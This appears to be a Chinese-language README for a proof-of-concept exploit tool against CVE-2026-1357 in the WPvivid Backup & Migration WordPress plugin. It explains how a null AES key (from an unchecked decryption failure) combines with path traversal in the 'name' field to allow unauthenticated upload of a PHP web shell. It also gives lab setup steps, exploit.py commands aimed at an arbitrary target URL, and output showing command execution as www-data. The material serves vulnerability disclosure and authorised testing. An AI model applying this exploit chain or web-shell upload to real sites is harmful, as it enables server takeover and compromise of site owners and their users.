未经身份验证的任意文件上传 → 远程代码执行
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8(严重) |
| 插件 | WPvivid Backup & Migration |
| 受影响版本 | ≤ 0.9.123 |
| 修复版本 | 0.9.124 |
| 发现者 | Lucas Montes (NiRoX) |
| PoC作者 | halilkirazkaya |
WPvivid Backup & Migration 插件(≤ 0.9.123)存在一个严重漏洞,允许未经身份验证的攻击者向服务器上传任意PHP文件,从而导致远程代码执行(RCE)。
该利用链结合了两个缺陷:
该插件通过 wpvivid_action=send_to_site 钩子处理远程备份传输。在解密会话密钥时,对于格式错误的RSA密钥,openssl_private_decrypt() 会返回 false。插件未检查此返回值,并将 false 传递给 phpseclib v1 的 Crypt_Rijndael,后者将其视为16字节的空密钥(\x00 × 16),采用CBC模式和空IV。
解密后JSON载荷中的 name 参数未经净化处理。攻击者可以使用 ../ 序列将PHP文件写入受限制的备份目录之外,进入公开可访问的 wp-content/uploads/ 目录。
wpvivid_api_token 必须在插件设置中已生成且未过期。
下载并解压 WPvivid Backup & Migration v0.9.123(存在漏洞的版本):
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
这将创建 wpvivid-backuprestore/ 目录,该目录通过 docker-compose.yml 挂载到Docker容器中。
docker compose up -d
http://localhost 并完成WordPress安装。pip install -r requirements.txt
# 仅检查漏洞(上传一个无害的txt文件并验证MD5)
python3 exploit.py -u http://TARGET-URL -c
# 上传Shell并运行默认命令 (id)
python3 exploit.py -u http://TARGET-URL -s
# 上传Shell并运行自定义命令
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] 目标 : http://localhost/
[*] 模式 : 检查
[*] 上传路径 : ../uploads/h8xq9b3v2z1c.txt
[+] 正在生成加密载荷(AES-128-CBC,空密钥 + 空IV)...
[+] 载荷大小 : 392 字节 (base64)
[+] 通过 wpvivid_action=send_to_site 发送利用...
[+] 响应 : 200
[+] 响应体 : {"result":"success","op":"finished"}
[+] 验证于: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] 漏洞确认!文件内容与MD5匹配。
[*] 目标 : http://localhost/
[*] 模式 : Shell
[*] 上传路径 : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] 验证命令 : id
[+] 正在生成加密载荷(AES-128-CBC,空密钥 + 空IV)...
[+] 载荷大小 : 392 字节 (base64)
[+] 通过 wpvivid_action=send_to_site 发送利用...
[+] 响应 : 200
[+] 响应体 : {"result":"success","op":"finished"}
[+] 验证于: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE确认!
[✓] 输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
本工具仅供授权的安全测试和教育用途。未经授权访问计算机系统属于违法行为。请负责任地使用。